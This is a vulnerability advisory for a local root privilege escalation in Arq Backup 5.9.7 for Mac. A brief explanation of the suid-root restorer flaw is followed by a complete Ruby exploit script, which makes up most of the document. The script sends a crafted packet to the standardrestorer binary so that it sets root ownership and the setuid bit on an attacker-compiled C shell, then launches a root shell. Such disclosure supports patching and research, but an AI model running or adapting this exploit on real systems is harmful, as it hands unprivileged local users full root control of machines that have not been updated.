Arq Backup 5.9.7 Local Root Privilege Escalation

2017.12.06
Credit: Mark Wadham
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

As well as the other bugs affecting Arq <= 5.9.6 there is also another issue with the suid-root restorer binaries in Arq for Mac. There are three of them and they are used to execute restores of backed up files from the various cloud providers. After reversing the inter-app protocol I discovered that the path to the restorer binary was specified as part of the data packet sent by the UI. After receiving this, the restorer binaries then set +s and root ownership on this path. This means we can specify an arbitrary path which will receive +s and root ownership. This issue is fixed in Arq 5.10. https://m4.rkw.io/arq_5.9.7.rb.txt b274aed5fabfe5e1ed7ff14cc6f0ff20f645ecfe0ec329b23cd7410a3cf990a6 ---------------------------------------------------------------------------- #!/usr/bin/env ruby ################################################################## ###### Arq <= 5.9.7 local root privilege escalation exploit ###### ###### by m4rkw - https://m4.rkw.io/blog.html ###### ################################################################## s = File.stat("/Applications/Arq.app/Contents/Resources/standardrestorer") if s.mode != 0104755 or s.uid != 0 puts "Not vulnerable - standardrestorer is not suid root." exit 1 end binary_target = "/tmp/arq_597_exp" d = "\x01\x00\x00\x00\x00\x00\x00\x00" e = "\x00\x00\x00\x00\x03" z = "0000" target = sprintf("%s%s-%s-%s-%s-%s%s%s", z,z,z,z,z,z,z,z) plist = "<plist version=\"1.0\"><dict><\/dict><\/plist>" backup_set = "0" * 40 hmac = "0" * 40 payload = sprintf( "%s%s%s%s\$%s%s\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + "\x00\x00\x00\x00\x00\x09\x00\x00\x02\xd0\x96\x82\xef\xd8\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x30\x2e\x30" + "\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00%s%s%s\x28%s\x01\x00\x00\x00%s\x00\x00\x00%s" + "\x00\x00\x00\x00\x16\x00\x00\x00\x02%s\x28%s\x01\x00\x00\x00%s\x00\x00" + "\x00%s\x00\x00\x00\x00\x00\x00\x00\x01\xf5\x00\x00\x00\x00\x00\x00\x00" + "\x14\x00%s\x00\x00\x00\x00\x03%s\x0a", d, binary_target.length.chr, binary_target, d, target, d, plist.length.chr, plist, d, backup_set, d, d, d, hmac, d, d, d, e * 10 ) shellcode = "#include <unistd.h>\nint main()\n{ setuid(0);setgid(0);"+ "execl(\"/bin/bash\",\"bash\",\"-c\",\"rm -f #{binary_target};/bin/bash\","+ "NULL);return 0; }" IO.popen("gcc -xc -o #{binary_target} -", mode="r+") do |io| io.write(shellcode) io.close end IO.popen("/Applications/Arq.app/Contents/Resources/standardrestorer " + "2>/dev/null", mode="r+") do |io| io.getc && io.write(payload) end timeout=3 i=0 while (s = File.stat(binary_target)) && (s.mode != 0104755 or s.uid != 0) sleep 0.1 i += 1 if i >= (timeout * 10) break end end if s.mode == 0104755 and s.uid == 0 system(binary_target) exit 0 end puts "exploit failed"


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